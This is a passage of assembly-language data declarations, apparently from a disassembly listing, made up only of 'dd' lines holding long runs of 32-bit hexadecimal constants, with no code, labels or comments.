4AE5AFD6h dd 190A5900h, 0B83BB060h, 880DE4D5h, 7CE35C36h, 4007DFC5h dd 667C0B5Dh, 0C1801C15h, 3EAAF4B6h, 74B6767Dh, 1C26095h dd 5E453E0Eh, 616E0D04h, 0AFEC5682h, 36209AF5h, 41CD2478h dd 0B734A772h, 0E7A3E59Eh, 0B84109CAh, 0C80449B0h, 19C9E6E1h dd 0BD3F01FBh, 34E52CDFh, 0E206F9A1h, 0B6EB07BBh, 3C04F032h dd 0D0E7CCB2h, 9181B9ADh, 26A2E043h, 2C9E28ACh, 1DA3AFB1h dd 232A9B18h, 0B0F6434Ch, 0B7A5AC62h, 704E2011h, 753EE390h dd 0B34CE923h, 52037A07h, 0F51566C8h, 0EF2E6B9h, 8DC26019h dd 46E73627h, 98DAA67Eh, 8F27D46Fh, 9B3A83EAh, 680162h dd 0FFDFE852h, 0C4F5431Ah, 0F1B09628h, 9ED08A7Bh, 9B36293Dh dd 840D079Ah, 0E55DD6ACh, 0EC317055h, 1905ACAEh, 11B84C44h dd 0F33C7975h, 2ECEF825h, 1F782068h, 4A5D8ED9h, 0ED656F94h dd 5BCD07AFh, 7F42AD23h, 1CFC0A40h, 51D8C1FDh, 75126DDBh dd 2B2A3038h, 0AF40A237h, 0ACDDEA09h, 0A7FB70CDh, 0F142A23Fh dd 0DA6CC46Eh, 7648958Ch, 956F0D0Dh, 85C545A6h, 2891EC56h dd 44BFE57h, 6D520E9Eh, 0D49E22F8h, 5A53CD1Fh, 0E87E874Dh dd 7596C7F4h, 0CCEF1189h, 0F548C955h, 3D70137Ch, 649A0F7Ch dd 0B01C5792h, 0C2619CC4h, 8CA44447h, 0D2D1B8F8h, 0C8D8FF9Ah dd 764303FEh, 79BA34D9h, 15CC7E4Ch, 697B2F34h, 0EA90880Ah dd 70403E48h, 5621C117h, 30677Ah, 0D2678347h, 4392982Ah dd 29CDE848h, 0F7450639h, 6EA452A7h, 0C7920D78h, 0F01F4147h dd 0D834336Ch, 0D8379BF8h, 73DD6458h, 6592852Eh, 9A9B6346h dd 8B1E1191h, 0F1EAFC18h, 49866C94h, 0A5CF5EBh, 0A8330507h dd 0D5B2E082h, 4DD98B0Dh, 0B2C6790Ah, 26B3BA7Dh, 0B8FEAE6Ah dd 0BEEFCD7Ah, 0CDF57BB4h, 6CE6435Ch, 72B2723Bh, 6930ADE2h dd 4569B93Eh, 19EE55FCh, 3E6D7E3Dh, 0B6B96982h, 59978A8Ch dd 0BCA81E8Dh, 9056D0EEh, 1EED25DCh, 9D762924h, 2A058267h dd 498FAFDBh, 76768B08h, 0C0E3EEFCh, 57106A42h, 73D6DE30h dd 0E001C92Fh, 74980556h, 23DFB9h, 20DDE356h, 684977AEh dd 0E5019BEFh, 57619D43h, 2FFA54F0h, 0D2A18AFCh, 9F15D32h dd 66BB0CFDh, 0E50404D1h, 803013B5h, 51937AC3h, 20F0968Ah dd 3E11B2CBh, 2944B3C7h, 9D29BA32h, 700339C8h, 415AB2DAh dd 5874CEFEh, 26F3AD47h, 35AAA5AFh, 0C9FB29A7h, 0E89DB631h dd 32664570h, 4937B992h, 8998DC80h, 25136229h, 0CB520726h dd 52A617CBh, 0F439531h, 0C3BCBC8Ch, 0AB639887h, 7D977F4Fh dd 88A39C50h, 0ACA772FDh, 460619F2h, 0D52C01C0h, 3A3ABF5Bh dd 25FC7034h, 1FC0022h, 5B3DA608h, 0BB82714Ah, 6F5A9170h dd 0DD335C99h, 0CB2449Eh, 0C80BB4AFh, 89F0EFA4h, 0EBA6D776h dd 0D51BCFB7h, 4FA3E6CBh, 95C9B70h, 8F26BECFh, 0C68ED27Ch dd 250DDD05h, 0FE90DFB7h, 64934706h, 0A11F725Dh, 4D61AE5Fh dd 8D4D9570h, 93597763h, 493AE395h, 4D372BBBh, 0AD7E8CA5h dd 474AC709h, 1CEEB575h, 439B9859h, 848474E6h, 0C7BB2B67h dd 0CBBF6644h, 4844014h, 33E8C83Ah, 10963554h, 9B0F8CAAh dd 0DACA34B0h, 9985C89Dh dd 74B778A1h, 6808A8F5h, 7A202F62h, 93588EB4h, 0F7B223Dh dd 39EED259h, 8630834Bh, 0E1EC8C0Fh, 3F224A6Fh, 0A0BBE5A3h dd 759BDC4h, 1BAD7620h, 0A3A5C90Eh, 831734A7h, 90F9646Ah dd 0B3FBBEEDh, 0E7335987h, 0FD5343C3h, 0AEB7313Eh, 0B52662EDh dd 0AC095D66h, 874B5F6Fh, 8173646Ah, 38F236AFh, 7FAAE023h dd 9FDD7A82h, 0C9161BC0h, 36EF5B42h, 0C112F5DAh, 0A0304271h dd 5DF64280h, 61141E88h, 0EDF9EC1Fh, 818BC9Eh, 0E2F52CEFh dd 0BBA0146Ah, 9D63D152h, 0B3776977h, 26689D10h, 69FB35E6h dd 0A1AFD87Eh, 0ACAFB721h, 0C65D43EFh, 5EA6E0E5h, 59099FB3h dd 159DE118h, 1B78989Eh, 0C26671D6h, 9B082344h, 0CB702B70h dd 1D5329DFh, 8BA897B7h, 0E57A8168h, 0C4B5A1E0h, 39BFBEABh dd 9DE6B79Fh, 6723AA0Dh, 5FBDEE30h, 9A2E6D8Fh, 1239B7F5h dd 45280F49h, 0B2F23373h, 1B132C4h, 0CD17D464h, 0B618DD98h dd 0D9EE7FF1h, 0B01A3A9Ch, 9E3740B2h, 0CEA8F4D2h, 0BAAF5316h dd 6BA0DD6Ah, 4D387130h, 49561AF8h, 88D99C3h, 0C00A74CFh dd 0C87F86D3h, 282587F3h, 0B582F117h, 0BAE20308h, 0E94DD332h dd 608D753Fh, 0A4DF9E36h, 4660EF62h, 47FB5562h, 8088AC96h dd 0D513F26Fh, 0ABA36CB0h, 916A3298h, 660B65E5h, 225CB2C5h dd 6DBDBA9h, 0E53A9FDFh, 0E81BE3ABh, 3D8C56A4h, 35AE116Ah dd 0C0B9286h, 0D24C9C10h, 27D1A1A5h, 3A2CB461h, 0C5033C58h dd 0F8C5A08h, 0FA3FFCF3h, 2E92DE55h, 37F9D4B0h, 6BBFEEA7h dd 0A306DDE2h, 2ECBD88Ah, 0C1479E59h, 69EEF8FAh, 76B0B03Bh dd 8BE9D99Dh, 232DFDD9h, 0A49CFAC6h, 84CA6700h, 757DA389h dd 6A3C7F81h, 6AF203DEh, 83AF7872h, 5A20CEA9h, 82651F19h dd 42CC29Bh, 0CB3E145Ch, 0EBCF8CC1h, 3DDDC712h, 84349008h dd 447BA893h, 3566404Dh, 995D23E5h, 7FECDED4h, 0D7FA0D88h dd 0B6A7AFE7h, 597CDE4h, 4B74F1A2h, 61C2D2A1h, 0DF7A8904h dd 25BE22FFh, 4EDAE1E6h, 1932CB02h, 6A8B3194h, 4E50E5A3h dd 6D3AFEE2h, 7BB90D56h, 85DE6913h, 0B49C5403h, 2FDF156Ah dd 0EA7DB53Ah, 92CBFD75h, 9BA94BA1h, 52E10999h, 0B97630E7h dd 1864CA1h, 0C064289Fh, 0FD915A17h, 0E3E5C866h, 0A2D79CFDh dd 0B52A84FFh, 0E431E5CAh, 0FE2FE6E9h, 5D0A1463h, 1A1BDB3Fh dd 1F61C7E2h, 0B57E35E5h, 0A59ED39Fh, 2552CFEBh, 0CFC901B2h dd 1326BDBFh, 0F4CD85E4h, 9BA6A67Fh, 0CF2AD83Dh, 25A0E620h dd 0F325A9A1h, 0D19BF8E0h, 69A9AA6Ah, 0FC6C3D60h, 776E82C8h dd 2A9AF5CBh, 0FA651136h, 2871CC56h, 9DEAADB9h, 0C17D558Ah dd 0A99432BBh, 3AB7CD80h, 0DAB1CB81h, 92A8A6A5h, 0C7AE8D10h dd 0E6F9BE0h, 7636ACA7h, 9C29FE98h, 6C02216Eh, 61C7AEB9h dd 4879F65Fh, 74C8D08Dh, 21BD3ED6h, 0D4A210CAh, 8EA07F9Fh dd 90BFE14Eh, 0CED991A6h, 0A9E0272Eh, 9A4DAD60h, 0DFF31434h dd 3E988263h, 919BD411h, 0C1887E6Ah, 7649D46Dh, 80901998h dd 66982244h, 0CC790F64h, 314BBFC5h, 370662D7h, 3332BCD0h dd 4F36D24Ch, 0C68C0D25h, 0BF280998h, 3021D811h, 16939D0Dh dd 40476785h, 0FE9312FAh, 6FF73839h, 66F6A52Bh, 29165414h dd 45D9C745h, 78F7224Ch, 15C284E5h, 88206F4Dh, 5E0E76F0h dd 0D04DDAA0h, 0B48DDD6Ah, 0E5CEF836h, 4489B2D4h, 66F4B51Ah dd 8C0DF12Bh, 0CC8BACCh, 70BF57CFh, 31F57Dh, 24CC5DD4h dd 836F432Eh, 8778B1Ah, 0CED52A43h, 87E7909Fh, 8880EEF3h dd 4A03D11Fh, 1ED43EBAh, 867B704Eh, 7A5C7F3Fh, 52A283C7h dd 0B2425F2Eh, 7C11E84h, 103A6B9Ah, 53DEE1ABh, 88205B06h dd 0ED5786BCh, 0C3B4027Dh, 2BDD35CFh, 2EF15B6h, 958E954Fh dd 7097148Bh, 0CDCDF505h, 8B5DE3Ah, 46412CBEh, 0C885DB17h dd 0D67C075Bh, 6F7E750Dh, 0E484C5D0h, 8302849Ch, 0BE65A103h dd 0D9DD233Dh, 3844A51Bh, 569700A1h, 0BAFB29h, 6A0311F2h dd 20E32A8Ch, 7BC2C164h, 0CE8F4235h, 520B22E7h, 8DCA10CCh dd 7BE3D872h, 432B4E46h, 67644C21h, 0C06C1A4Ch, 0D6BE7641h dd 0B153E05Fh, 9AEB44A1h, 0B8BE195Bh, 0F86C2795h, 2AF24BB6h dd 23C0DEC6h, 0A1AA9738h, 0DBF5140Ah, 174F80D1h, 0CC338FBEh dd 0A7887684h, 0D7036DE0h, 3424D20Ah, 3E78668Bh, 0AE3BA86Eh dd 5A1A8A7Eh, 0A815D48Eh, 0A1E16A1Ah, 3594FBF3h, 0ABE5DBFCh dd 81E220A3h, 0FFEF0D1h, 31E17494h, 22B07756h, 0BE0A4208h dd 593A3EFCh, 947A3CBh, 6A7A1CBh, 6F3A706Fh, 579DA41Ch dd 35A6AD80h, 2555DCF9h, 8E07AB20h, 366999F9h, 0E82D32A1h dd 0BBF4369Fh, 0EC843CAAh, 53D10Ch, 0A37678D5h, 0A0CC0A8Dh dd 698B08E2h, 8D408ADFh, 3C2A69Bh, 0D7D49137h, 93949484h dd 0A63AA17Ah, 0BEB54379h, 719A4131h, 2A8286DCh, 6C6B0C2Dh dd 4DEE25ACh, 28EDE956h, 6A3A06B9h, 0BDB2AD83h, 2FBC2B96h dd 0DBF05666h, 18658241h, 1D632900h, 87625C12h, 0D6C9F0ACh dd 94B63989h, 0BE280C5Ch, 12F226E9h, 0F71C6EFEh, 7B222E6h dd 63615107h, 86E435CAh, 339A9EB9h, 0DBD71332h, 0BC7EF712h dd 7F17BB3Ch, 0EB2A3BF2h, 0E5DFDD63h, 44402E2Eh, 249D205Ah dd 5EB7A98h, 1F02E47Bh, 0D3339D84h, 0AFF9EE0Fh, 261E2258h dd 6A452F71h, 86277C38h, 0DF1B1CD3h, 0B2E20B5h, 7AA27688h dd 0C3756107h, 7E0C5421h, 0CE73973h, 9008BA81h, 0BD9DBE8Ah dd 0F7F63B7Ch, 0E8B54B1Fh, 74C5DBC3h, 8E09B1F7h, 92985B25h dd 9F552BF3h, 0AED0F794h, 0E14A2FABh, 4B958EE5h, 1FD2E09Bh dd 8EC92BF1h, 4C3A51AAh, 205E24EFh, 1AFEF7E9h, 0F956B021h dd 353FE48Ch, 0B2F182B5h, 45A227D6h, 902C0238h, 2DD54059h dd 147BF6B7h, 0F222BC82h, 0F91AD850h, 43DFE115h, 0CD881CB6h dd 50E2FB89h, 3D2CA127h, 0ED2946E1h, 8519FEF5h, 0F64CBD42h dd 0B8A52D9h, 78BF1F9Bh, 0C75BF498h, 0FFA8A125h, 37EFFC2Ch dd 99A66B42h, 0C4BD7C9Eh, 8D26495Bh, 0C6489025h, 3BF55E4Ch dd 1AA0EB12h, 0FCC77F6Fh, 9855682h, 0C7314023h, 0CE4E0D3Fh dd 0B5F0814h, 3EF438CEh, 0A806F347h, 0F2F21F50h, 0F06791B5h dd 21A79EBBh, 8D9ACC84h, 21B2AEBh, 0B1BF757Ch, 0E0D4B05Bh dd 0DD1F8A6Eh, 4E8CF31Eh, 0B81BC7FAh, 0C2524D6Dh, 8FA45EE6h dd 0BD860110h, 8AEADCBDh, 3E4849Bh, 3339F8E3h, 70EAA63Dh dd 0C70A62DBh, 0E2E96C22h, 268C6A0Eh, 0D0AEC7DDh, 0E6231444h dd 56CDF3ABh, 70C87DC0h, 168361CCh, 0A8FD0737h, 0D0165017h dd 7E35B6Ch, 6FC22748h, 832FF2Fh, 0D262BDE9h, 465723E7h dd 3519C733h, 0D284001Dh, 165E5056h, 0CB0BBEB7h, 43C3FA2h dd 5344CDEFh, 69368BCBh, 0F7AAF9Ch, 6F6484BCh, 82BC1320h dd 0FBD4631Ah, 0B6B8C9E2h, 2A36DB4Eh, 7FEB62EAh, 675D8D7Fh dd 0F8B0547Eh, 24AC2552h, 823BE0A8h, 2576F689h, 97C2FE8Eh dd 8993E1D8h, 9728A35h, 3BBEAD1Ah, 0AA4A9E46h, 0B79E579Eh dd 2DA24C55h, 5E11A329h, 5834FA54h, 11823125h, 3CEE0532h dd 838FD8A3h, 6A147DEDh, 0F891AE34h, 0F3663F56h, 604FE1D8h dd 101ECB1Bh, 0FFC125CFh, 56146F4Ch, 24471033h, 87171660h dd 24C69B3Fh, 86C62BA9h, 0DC37FEC2h, 0BEA0AD2Ch, 0DC0BD1C9h dd 239BD9FDh, 916B94Dh, 955CAF4Bh, 1E4222D3h, 338C65h dd 1473975Dh, 900F4B9Fh, 0FAD16CFCh, 5A558CEFh, 393F6DC1h dd 8BBB15C1h, 16F2C214h, 0A3012F1h, 10C3F36h, 76B13CFBh dd 70284423h, 742CFC49h dd 4D5BFAB5h, 57265060h, 0C0CA3FF1h, 20F9226Ah, 6E68816Ah dd 22929D36h, 6F801ABEh, 0C94B0FAEh, 3997E9A6h, 0AA3B5548h dd 3AF9E2EEh, 0EBC578A0h, 0EB2C5B6Ah, 8B320BE0h, 0F5186E5Ch dd 0FBC38743h, 0A5CEF8B6h, 7C904E4Ah, 8842801Bh, 2A3AB9Eh dd 0CDD0F593h, 0C41075A0h, 28BD6321h, 0A76FBDA6h, 9BE0ED0Ch dd 81A0ECA5h, 70A7D0BBh, 0C0BD8BCBh, 1A6F0873h, 71986452h dd 0CEA81BEDh, 0D30DDD16h, 0FD956159h, 7A9967AEh, 5A1BA430h dd 1253332Dh, 1260B1D5h, 0E363ECE1h, 29322428h, 4127C5DDh dd 26AE9B8Fh, 0BBF96F2Fh, 709F7376h, 0DD0B3359h, 2E6D0F5Fh dd 0FD206639h, 9CEE6399h, 327F4C08h, 3A92D846h, 82090937h dd 6FDB09F4h, 1F235445h, 807B301Fh, 8765CDDFh, 72520A03h dd 96292C6h, 0A322434Bh, 8B7FA0C6h, 10FF6528h, 0F63576C5h dd 1AFCBF0h, 203A96E7h, 5F9BB436h, 265BA06Eh, 0C323E0ADh dd 0AB462501h, 9E0D4249h, 2487AF50h, 218E0A5Ah, 0DEFE52BCh dd 2E80DC09h, 0FF7A1ECh, 57157D83h, 20C8B7ADh, 0C348A004h dd 0C46FD467h, 28267EE1h, 0ACA1A9ABh, 50DCC4DFh, 0FCB8A347h dd 0A15661A8h, 45E91179h, 0AAEC5222h, 4245D787h, 0C6C04ED6h dd 0EF5E4AEAh, 82999238h, 6928EBCEh, 9F0E5B4h, 20644AA8h dd 71148F47h, 8DD01C68h, 5DE6771h, 7ECBC0A7h, 0CF825ABAh dd 991DF06Ah, 5FB67FB9h, 0A5607EA6h, 0D3B3A4F7h, 0A1E37E1Eh dd 925E75B4h, 14930044h, 9938041Ch, 9FE5B2B9h, 71AE0ED2h dd 0F042A9DFh, 522DA263h, 0C3F0FC1Ch, 0D1D6CFE9h, 7A24A474h dd 47894944h, 42D49ECBh, 7CC9F15Eh, 1F1AD4E2h, 9F1B3486h dd 44BC526Ah, 0F014B986h, 0B515BA2Bh, 531A8E51h, 933373E8h dd 0E9095643h, 25CD538Ch, 0E90C61D7h, 738F1CFh, 6C05581Bh dd 25F641EFh, 5F20518Dh, 40C081F3h, 64B330A2h, 791F36F4h dd 45C0BF70h, 18969792h, 0A18A13BEh, 8F731E0Ch, 0EEC1A844h dd 5E66BB7Dh, 3ADFE471h, 0AD527355h, 0E883B4B5h, 5E5C1A9Ah dd 761886D0h, 0D605E44Bh, 656FB6Dh, 48024599h, 0DEE02044h dd 9763F49Ch, 0D39C69D9h, 1E0A062Eh, 31246416h, 2B8C4CA0h dd 79B93549h, 2616C755h, 36E46379h, 38C9F398h, 1D331753h dd 34737BB0h, 9534231Eh, 0F44007D9h, 50FC0957h, 54FB5A07h dd 0F7BBD06Ch, 0FE0172ECh, 0B82E0201h, 56668CA5h, 0B97F1114h dd 4FF8ACFEh, 3746075Dh, 722413D9h, 0E326E7A1h, 0BA988C01h dd 0B31FEBF7h, 785A7518h, 75008915h, 49E7AAC4h, 0F30A83D2h dd 0A65F1AA0h, 0C2E01897h, 0F6997233h, 398F65E2h, 0A3400571h dd 2E07A32Ch, 210E613Eh, 2455415h, 2476063Ah, 0C6792E75h dd 7F1CFA4Fh, 0AB11E1C3h, 29365CCCh, 0ED5B5C06h, 0E7C3C498h dd 2598EF3Bh, 9217ABA9h, 1D64DEA0h, 0EF534701h, 77172E8Ah dd 0DA85F4A8h, 36A8F650h, 9554A1E9h, 0B27CE1F1h, 16E0A722h dd 617DEF72h, 9E6B0DAh, 0E888EFBAh, 0C1FDC37h, 2325259Bh dd 0EC23FC81h, 0D9F964A1h, 2FD76E58h, 1BC53304h, 0B734E959h dd 11EDE4Ah, 675826CFh, 0B649BA71h, 70AAC354h, 0B7459B24h dd 0EF39D210h, 855C8221h, 0F7F7C5D4h, 9C33B2A5h, 0CD242843h dd 70CE6EFh, 56B01B7Dh, 41474409h, 0CAB5C42Bh, 531C4C7h dd 0B2A3696Ah, 0E3267A88h, 4D6702F6h, 2ED6C3B2h, 0C0AAB660h dd 5EF53F85h, 39BB0EE1h, 0B8C88DBFh, 443C50DFh, 418ADC79h dd 82900108h, 82699A8Ah, 655F612Bh, 63C9E39Eh, 97F5CC68h dd 0CF305B77h, 0D8EBDFD8h, 822E93DBh, 0BC4809A0h, 4781EF61h dd 44B42CD6h, 323E3A53h, 0E3DDF4DEh, 0E2C78E5Fh, 7D068A9Dh dd 0C5A7BBEBh, 5E1F6E48h, 6D43786h, 0D842EF2Fh, 0C0D26F9Dh dd 4079F367h, 6509A73Bh, 3F3ED071h, 7388DB75h, 9F91AC24h dd 471872C3h, 68F4501Bh, 0FA5068Eh, 0CB319BBBh, 5F7BA1C5h dd 9AE8404Fh, 8119E31h, 6A9DA1D4h, 3804F99Bh, 0B73A66FEh dd 0D949F29Bh, 0AA67A543h, 0AD30CD68h, 655C4E71h, 6E3A2A05h dd 387BEE40h, 5910A21Eh, 89319A9Eh, 7E789F36h, 8ABA7F8Dh dd 0FC097289h, 4298A780h, 0C720095Eh, 0B6F0FD10h, 97C2E034h dd 7CB399C2h, 0BEF73587h, 0CF32AB49h, 27D86F35h, 83FDED22h dd 49EEEE7h, 0F11761C5h, 8933F071h, 0BD1878Ah, 169DD868h dd 0C2305C81h, 2E0E8722h, 1E190D63h, 42C1B9E0h, 45ABA14Dh dd 7A86F36Ah, 34880FF7h, 0D4609EEEh, 0DE8EABE8h, 0D36F93F9h dd 67E618ADh, 0CEED0C0Fh, 8C319433h, 905291BDh, 0FBEF5FE6h dd 53CEBD2Eh, 70150C47h, 0F97686FDh, 7D33BF9Ah, 0CD942B72h dd 748B3A6h, 8FE90179h, 0F9009BA7h, 0E9E6FCEFh, 0BFC7312Eh dd 1EF2D023h, 0E7C065BDh, 0C23FC298h, 0BF7FEED2h, 1A29B3B1h dd 4042FFB6h, 52F6E45Bh, 5062327Dh, 0EAF4E24Fh, 0C10B5354h dd 972AFF20h, 60AD71EEh, 0BCFD0154h, 0A954C0F2h, 4A5B3727h dd 0C54B206Ch, 0CF16077Dh, 15C67109h, 8762B310h, 7E20E75Ch dd 907B57ACh, 0D058FD3Ch, 0BFD33FA9h, 5000A57Bh, 405C2BD7h dd 2D9454CFh, 25E1F247h, 934A345Ch, 0FDF4B0E2h, 0A7D44D6Bh dd 57B2A96h, 43D78BDh, 0F585055h, 0E8C55679h, 512AA0Eh dd 0FA78377Eh, 0DFB5F7DBh, 0F7532FBDh, 49BB4573h, 0E5453128h dd 718ECCC7h, 30F8C3D9h, 32CD8D25h, 3351030Bh, 0C69BC859h dd 0ECFD179h, 914729BDh, 1A1D5925h, 702F0039h, 90599844h dd 67C02B33h, 7A329D45h, 76BB6E27h, 0B146435Eh, 0E8E2D8B9h dd 0A11CD7EAh, 8A0B3734h, 0E9F7B654h, 5AA2019Ch, 307A6146h dd 51C6CCBEh, 2399743Bh, 0BF5D740Ch, 0DD0F6633h, 85D1F393h dd 21A675EAh, 55CF6539h, 8CE1C0BEh, 3D3C1BCFh, 14360FD3h dd 0E12E5E06h, 0FFED0027h, 4EC6E546h, 0DEBAEF52h, 3897569Bh dd 506A421Ah, 4CC08A9Ah, 0BA7402CEh, 0D69D8C13h, 97413B9Fh dd 0D3885C0Ch, 17FBC09h, 0F794FFF4h, 0BD0FE5F5h, 0E9EB5892h dd 0C1768948h, 5C3DE24Ah, 0E3CBC332h, 0D32E95A9h, 75BA78BEh dd 14205D24h, 0C9E4BF1Bh, 0F1546D20h, 0ABF540B1h, 91614B7Fh dd 2060E5C7h, 50332D85h, 8A55D1C6h, 4202CEBh, 0DF10655Ch dd 66BFEC1Eh, 0B759867Dh, 0F9569109h, 2AFCFD26h, 0DC4635F6h dd 877E07FCh, 2BCF6FA2h, 6F88A532h, 0ECA4F111h, 3B9EF9B8h dd 0A9A0CB2Dh, 0FFADF5B9h, 35CE4FF6h, 0FCDED046h, 3F24D697h dd 1E44CC0Ch, 0B4C53007h, 6874EF1Eh, 0BB8955B5h, 7A34123Dh dd 5573F911h, 78CCC8CBh, 0B8087B20h, 3CA3FDBh, 0C9A24E1Bh dd 0F05B35EEh, 91F59407h, 12CFB5A6h, 19A311FDh, 4ED6FAF1h dd 7F368939h, 0C19CD110h, 0EBBEC032h, 219933C0h, 5C33BA4h dd 0CBAAC816h, 0CD7CB84h, 944C0569h, 6FB00911h, 1331E673h dd 0D27A9FF6h, 60D97261h, 914CAC0Ch, 0F930399Eh, 0EE373077h dd 9923CE77h, 874B7198h, 4DC68EA2h, 24A2178Ah, 15F317AFh dd 34EFEC7Bh, 48647DEDh, 3CF3F9B7h, 9F2CAE25h, 31B96B33h dd 5F6AC2F7h, 29CC6719h, 0AEA272C1h, 6CB9D1BDh, 0DB6533AFh dd 9C045999h, 9C9352EFh, 0ED194A35h, 3A161996h, 0A1F6A283h dd 76AF332Bh, 4D209455h, 0B87D19BAh, 162E6F61h, 0AC5E6791h dd 5A780795h, 166EBBC5h, 9AF4BD6Ah, 0DC95D712h, 0C05B865h dd 0D935B8D3h, 0AD9A669Ch, 13834B04h, 73D15502h, 0EA352D88h dd 0A22CE457h, 0AF8BB93Bh, 9FD153BDh, 2E945AAh, 322888ECh dd 96B28419h, 260046FEh, 435E45AAh, 0F94ECD27h, 981CB362h dd 0AB86835Ch, 9D0C27CCh dd 2586ADE9h, 0AB0A0E0Ah, 9EF98589h, 260A4E3h, 2248650h dd 0BB45C032h, 0DDFA27FAh, 0EEEF24A6h, 0CBA243BFh, 26DC109Eh dd 0EC336F90h, 5371497h, 0DC2DA928h, 13F8DA0Fh, 6B227A4Ah dd 1FEA29C0h, 0E1F752E2h, 4E257AE7h, 7E78784Ah, 3127B29Bh dd 649AF649h, 365A1312h, 0DE4E5269h, 2E24E1DBh, 300F526Ch dd 0EBAB6417h, 977CDB75h, 381BB73Bh, 0B9BA0A30h, 327011E4h dd 0A0C2B878h, 59D87C07h, 1FE55F61h, 3BC5642Ah, 0A0D183F3h dd 55B86398h, 0F3C62D95h, 0D1315AF2h, 0D46F3BE0h, 0B3D9A066h dd 0DFB5F1ACh, 0CA5121A3h, 0A007339Bh, 1748E9BDh, 16A1EE86h dd 8996DA5Fh, 0DE103Eh, 225A9908h, 0E919D02Eh, 0A7054B79h dd 0C1D1EF92h, 6EBECEBEh, 0B4B49EF9h, 0E66B7BBAh, 0CFF1762Fh dd 0FD829298h, 0E8DAB10Eh, 2D8D42ADh, 8EA8E7DCh, 0FF9476DDh dd 21FC49E0h, 0C20C3FFFh, 49A5EA3h, 91142B3Dh, 35CFAC82h dd 6DDF6E24h, 79B64F9Ch, 0F07D47F1h, 0A9534E51h, 8A059068h dd 7485C9CAh, 8422CB26h, 4F5565B4h, 5D14AD1Eh, 0D2A1D88Dh dd 0EAAD82EEh, 2813C72Ch, 864E6F5Ah, 0BE41C6DEh, 79AF5D81h dd 2A111AA9h, 893DDA4Fh, 38B1A552h, 983A3135h, 53686CF7h dd 4455B513h, 9BEB9003h, 0DD8DBFBEh, 0C777C569h, 49D3C47Dh dd 8587CA98h, 77352233h, 0CB2B6103h, 0DE66596Ch, 178DAD80h dd 98814D1Ah, 0A2C94643h, 3F667D34h, 8D624E0Dh, 0B951564Ch dd 0FEE2639Dh, 0B8886EA4h, 0EE0BF7F8h, 0A1B02563h, 17C7BE52h dd 0A4873E44h, 0A5CCC645h, 0F0F1A5E4h, 36D56BEBh, 0CAFAD678h dd 0E9B7CEDEh, 0BD26F969h, 5A5D3530h, 125994D9h, 0F583981Fh dd 0D3E90D41h, 3749355Eh, 0CBD1BEB8h, 82B2B21Ah, 0F0F01C7Ah dd 5BE8BF47h, 9B4B8654h, 94935727h, 0FE62763Bh, 0A284B595h dd 4997EAF6h, 0F0B55BF8h, 45A607A5h, 0EC3EEB4h, 0D41D9E99h dd 55A8D1FAh, 18AB4377h, 1150A0Eh, 0A3A9C06Ah, 0BC85EE51h dd 98B2E844h, 84DD2928h, 77C9F452h, 0C27951BFh, 0CC8E101Fh dd 3AF76B24h, 0CB9701A8h, 515A4654h, 0C023327Eh, 180381C1h dd 0B4C33678h, 18AB35EDh, 0C0901677h, 1A7E031h, 0D4B6E6Dh dd 1D004BAAh, 35745ED1h, 0A927B08Dh, 0A7D2962Ch, 71E2062Fh dd 812C6215h, 0BCF31014h, 94B3D76h, 826E988Ah, 41979B6Ah dd 4451D080h, 3FF8AFh, 22D7FE38h, 244FA947h, 539C0D24h dd 0DFC84CB2h, 3E6EE6B9h, 55BDE04Bh, 25D947EEh, 0F1FDF13Fh dd 73242A19h, 7983871Dh, 299BE913h, 778E9A8Eh, 0E8A4EE50h dd 0F9ED1AC7h, 29CC457Bh, 6A0CEFA4h, 0D649899Ah, 811D5EBFh dd 6E0E8FB9h, 0FEE1003Dh, 0D086D137h, 0D5CF1954h, 7164B8ACh dd 0EF9B1074h, 0EAF22F59h, 0DC3D1EBCh, 5207F3AAh, 13521C4Eh dd 8D9E920Dh, 0E79F76E0h, 0FE099D5Bh, 2B8F905h, 0BACEB08h dd 154AA857h, 5648B587h, 0D7B2354Ch, 7C067684h, 0EB9570F2h dd 4486265Eh, 0EB782C0Fh, 26F94837h, 0A3586D1Ch, 634DA4Dh dd 88229394h, 0C87BBAE7h, 58CDC619h, 0B67EF48Eh, 550639A0h dd 2CA25DA2h, 5A304D3Ch, 341352F3h, 93709117h, 24F0D669h dd 0EE656C65h, 26E2F6h, 76823005h, 3A9EB40Bh, 0A816809Dh dd 8C9C184Fh, 74DA9E6Ch, 0D5727D40h, 5E8CDEF4h, 670BAEB0h dd 0B9F10322h, 0F5335636h, 4509C1FDh, 260915EFh, 15764AEAh dd 8A2D046Bh, 81A26EFEh, 0B26011Fh, 0C2E1C60h, 1894D04Ch dd 0AF25C162h, 60DF3FE4h, 0C2343603h, 4225934Bh, 6AA26AEEh dd 4248102Eh, 1DCC1B00h, 43CD0D19h, 51DE3DD4h, 0E682C24Ch dd 0BEAD450Dh, 0F20A5997h, 74D1BDABh, 0B67D508Eh, 14EF01E2h dd 0E69A1171h, 428677DBh, 685A3F64h, 648E8530h, 28678888h dd 8214FEEAh, 25CC8D2Bh, 0D3413872h, 72D9AB71h, 30256A8Dh dd 98BD6A76h, 2587238Ah, 88BC5D68h, 46287D63h, 34F99F64h dd 0D0091BA1h, 954BA49Bh, 0B0D87FD1h, 473A2F4Ah, 5B1CF150h dd 64E0BA29h, 8A4A210Eh, 0E79EFED4h, 4CCFFDC3h, 0E7CFAC2h dd 0E48A820Ch, 354D02FBh, 15235769h, 0EDFA50AAh, 0D297C56Dh dd 6A5D6AB4h, 0D7AE8D6Eh, 3F3F9775h, 7CA207B8h, 3E0FA472h dd 9EFB78CBh, 0B94ED33Ah, 0C06175C4h, 8096229Dh, 582D4B2Eh dd 41DBF437h, 0D509DA8Fh, 292F00C8h, 0DFEE404Ah, 0EB26ED46h dd 0BF1D138h, 0A158CFC2h, 2D7FCF9Bh, 672C7F7Eh, 0E3179F0Eh dd 8D2C1C01h, 85EFC825h, 0F76F8283h, 2C56FF92h, 0DE01C2D2h dd 0BABAF487h, 0FF9F6AF1h, 0B1C95BDCh, 0BE6F08A7h, 136EB75Ch dd 0FED59DE9h, 5630B6AAh, 1311A0DFh, 7014986Dh, 3D294906h dd 45D39F82h, 640F87B7h, 4078D406h, 2870E7FFh, 80D40E82h dd 3FADAE98h, 85CFA24Fh, 96C43392h, 2CAA9096h, 0D483BCDFh dd 1BC32E09h, 0EAECB4BDh, 6FD298Fh, 0ACC2EABEh, 0A1684628h dd 0C5F98B6Eh, 374ABF4Dh, 8E6A268Ah, 46DFED6Dh, 3EE14F18h dd 22827CE0h, 879EE4E8h, 0B8523BA1h, 3D2A7A5Dh, 0BF555626h dd 96870266h, 543F18F9h, 